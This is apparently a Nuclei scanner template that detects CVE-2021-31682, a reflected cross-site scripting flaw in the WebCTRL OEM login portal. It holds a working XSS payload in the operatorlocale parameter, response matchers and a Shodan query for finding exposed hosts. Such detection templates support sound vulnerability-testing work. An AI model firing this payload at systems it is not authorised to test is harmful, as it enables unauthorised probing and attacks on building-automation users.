52 lines
1.8 KiB
YAML
52 lines
1.8 KiB
YAML
id: CVE-2021-31682
|
|
|
|
info:
|
|
name: WebCTRL OEM <= 6.5 - Cross-Site Scripting
|
|
author: gy741,dhiyaneshDk
|
|
severity: medium
|
|
description: WebCTRL OEM 6.5 and prior is susceptible to a cross-site scripting vulnerability because the login portal does not sanitize the operatorlocale GET parameter.
|
|
remediation: |
|
|
Upgrade to a patched version of WebCTRL OEM that addresses the XSS vulnerability (CVE-2021-31682).
|
|
reference:
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-31682
|
|
- https://github.com/3ndG4me/WebCTRL-OperatorLocale-Parameter-Reflected-XSS
|
|
- https://www.automatedlogic.com/en/products-services/webctrl-building-automation-system/
|
|
- http://packetstormsecurity.com/files/164707/WebCTRL-OEM-6.5-Cross-Site-Scripting.html
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2021-31682
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00377
|
|
epss-percentile: 0.69811
|
|
cpe: cpe:2.3:a:automatedlogic:webctrl:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: automatedlogic
|
|
product: webctrl
|
|
shodan-query: html:"/_common/lvl5/dologin.jsp"
|
|
tags: cve,cve2021,webctrl,xss,packetstorm
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/index.jsp?operatorlocale=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E'
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '"><script>alert(document.domain)</script>'
|
|
- 'common/lvl5'
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "text/html"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a00473045022015a279d56f5bead1ab7474fa6bb6f41c368ba08138e2546358e406ffe635664d022100de056a39b87a383ef5d9973bf583912aa9d0915bbe46a951067e29e626359bce:922c64590222798bb761d5b6d8e72950 |